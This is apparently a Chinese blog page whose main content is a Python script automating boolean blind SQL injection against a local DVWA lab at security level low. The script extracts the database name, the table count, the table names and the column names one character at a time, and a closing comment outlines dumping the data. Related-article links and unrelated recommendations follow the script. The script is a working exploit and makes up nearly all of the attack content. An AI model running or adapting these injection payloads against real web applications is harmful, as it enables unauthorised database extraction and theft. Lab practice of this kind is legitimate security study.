1. 仅供学习代码参考
    1#python dvwa布尔盲注自动化脚本
  2. 2 import requests
  3. 3 import string
  4. 4 import time
  5. 5 INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id="
  6. 6 token={"security":"low","PHPSESSID":"p7g937ga5glcvg8m5hv9o9a2ht"} #登录身份识别
  7. 7 COLUMN_NUM=11
  8. 8 COLUMN_LEN=15
  9. 9 dbLen=0
  10. 10 dbname=''
  11. 11 table_num=0
  12. 12 table=[]
  13. 13 table_name='' #暂存用
  14. 14 column=[]
  15. 15 column_name=''#暂存用
  16. 16 rightLen=0
  17. 17
  18. 18 time_start=time.time()
  19. 19 url=INIT_URL+"1&Submit=Submit#"
  20. 20 rightLen=len(requests.get(url=url,cookies=token).text)
  21. 21 print("正常返回文本长度:"+str(rightLen))
  22. 22 #1.猜解数据库名长度 poc:" 1'and (select length(database()))="+str(dbLen)#"
  23. 23 while True:
  24. 24 dbLen +=1
  25. 25 dbUrl=INIT_URL+"1'and (select length(database()))="+str(dbLen)+"%23&Submit=Submit#"
  26. 26 print(dbUrl)
  27. 27 if len(requests.get(url=dbUrl,cookies=token).text)==rightLen:
  28. 28 print("数据库长度:"+str(dbLen))
  29. 29 break
  30. 30 #2.猜解数据库名字 poc:" 1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1#"
  31. 31 for i in range(1,dbLen+1):
  32. 32 for j in string.ascii_lowercase:
  33. 33 dbnameUrl=INIT_URL+"1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1%23&Submit=Submit#"
  34. 34 print(dbnameUrl)
  35. 35 if len(requests.get(url=dbnameUrl,cookies=token).text)==rightLen:
  36. 36 dbname+=j
  37. 37 break
  38. 38
  39. 39 print("数据库名字:"+dbname)
  40. 40
  41. 41 #3.猜解数据库表数量 poc:" 1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)#"
  42. 42
  43. 43 for i in range(100):
  44. 44 dbUrl=INIT_URL+"1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)+"%23&Submit=Submit#"
  45. 45 print(dbUrl)
  46. 46 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
  47. 47 print("表数量"+str(i))
  48. 48 table_num=i
  49. 49 break
  50. 50
  51. 51 #4.猜解表名 poc:" 1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)))=103#
  52. 52
  53. 53 for i in range(table_num):
  54. 54 for k in range(COLUMN_LEN):
  55. 55 for j in range(48,123):
  56. 56 dbUrl=INIT_URL+"1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='"+dbname+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
  57. 57 print(dbUrl)
  58. 58 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
  59. 59 table_name+=chr(j)
  60. 60 print(table_name)
  61. 61 break
  62. 62 table.append(table_name)
  63. 63 table_name=''
  64. 64 print("表名:"+str(table))
  65. 65
  66. 66
  67. 67
  68. 68 #5.猜解列名 poc :" 1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)))=i
  69. 69
  70. 70
  71. 71 for m in range(table_num):
  72. 72 for i in range(COLUMN_NUM):
  73. 73 for k in range(COLUMN_LEN):
  74. 74 for j in range(48,123):
  75. 75 dbUrl=INIT_URL+"1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"'and table_name='"+table[m]+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
  76. 76 print(dbUrl)
  77. 77 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
  78. 78 column_name+=chr(j)
  79. 79 print(column_name)
  80. 80 break
  81. 81 column_name+='/'
  82. 82 column.append(column_name)
  83. 83 column_name=''
  84. 84 print("列名:"+str(column))
  85. 85
  86. 86 time_end=time.time()
  87. 87 print('用时:',time_end-time_start,'s')
  88. 88 print("正常返回文本长度:"+str(rightLen))
  89. 89 print("数据库长度:"+str(dbLen))
  90. 90 print("数据库名字:"+dbname)
  91. 91 print("表数量"+str(i))
  92. 92 print("表名:"+str(table))
  93. 93 print("列名:"+str(column))
  94. 94 #6.拖库 poc: 1'and (select ascii(substr((select column[i] from dbname.table[j] limit 0,1),1,1)))=i
  95. 95 #具体列具体猜解,全部猜解时间太高


python dvwa布尔盲注自动化脚本(level=low)的更多相关文章

  1. sqli-labs第5关布尔盲注pyhton脚本

    import requests import os #此函数先判断数据库长度 def length(url,str): num = 1 while True: str_num = '%d' %num ...

  2. 爱上python之盲注探测脚本

    本文转自:i春秋论坛       前言: 最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录. sqmap也有不灵的时候,有时需要根据情况自写脚本探测 正文: 本地用大表姐给的sql和p ...

  3. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  4. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  5. WEB新手之布尔盲注

    开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...

  6. SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)

    开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...

  7. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  8. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  9. sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)

    写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...

随机推荐

  1. Token 、Cookie和Session的区别

    本文转至http://blog.csdn.net/tobetheender/article/details/52485948 https://blog.csdn.net/axin66ok/articl ...

  2. linux学习(二)--setup.s

    执行过bootsect.s,加载了所有系统代码之后,开始向32位模式转变,为main函数的调用做准备,同样,附上图往下看 1 INITSEG = 0x9000 ! we move boot here ...

  3. docker设置http访问

    1 编辑配置文件    vim /etc/docker/daemon.json { "registry-mirrors": ["https://a4fyjv0u.mirr ...

  4. centos8平台上php7.4的生产环境配置

    一,php错误与日志的配置 1,创建php的日志保存目录: [root@yjweb ~]# mkdir -p /data/logs/phplogs [root@yjweb ~]# chmod 777 ...

  5. 笔记之Utility.DataAccess

    挤出时间看了一些代码,做一些笔记,备忘!!! 现在ORM随处可见,为什么不要已有的ORM而要手动写SQL呢?这肯定是有因为滴,存在必合理嘛! 自认为关于性能.维护.Maybe还有其他的,欢迎大家拍砖! ...

  6. .Net Core 3.0 MVC 中使用 SqlSugar ORM框架

    介绍 SqlSugar 是一款简单易用的ORM ,在国内市场占有率也比较高, 在今年10月份官网改版后  提供了完整的服务,让您的项目没有后顾之忧 下载地址 :https://github.com/s ...

  7. Vue 父子组件通信入门

    父组件向子组件传值 1.组件实例定义方式,注意:子组件一定要使用props属性来定义父组件传递过来的数据 <script type="text/javascript"> ...

  8. pyqt5按钮退出程序

    import sys from PyQt5.QtWidgets import QHBoxLayout,QMainWindow,QApplication,QPushButton,QWidget clas ...

  9. Scala 特殊符号含义

    date: 2019-08-01 11:15:27 updated: 2019-08-22 15:22:32 Scala 特殊符号含义 参考地址 1. ::: :::(三个冒号)只用于连接两个 Lis ...

  10. MySQL全面瓦解2:常用命令和系统管理

    常用命令 打开CMD命令窗口(记住使用管理员身份运行),我们就可以在命令窗口中做一些MySQL的命令操作了: 服务启动和关闭 这个我们上一个章节使用过了:net start mysql,这是服务命令, ...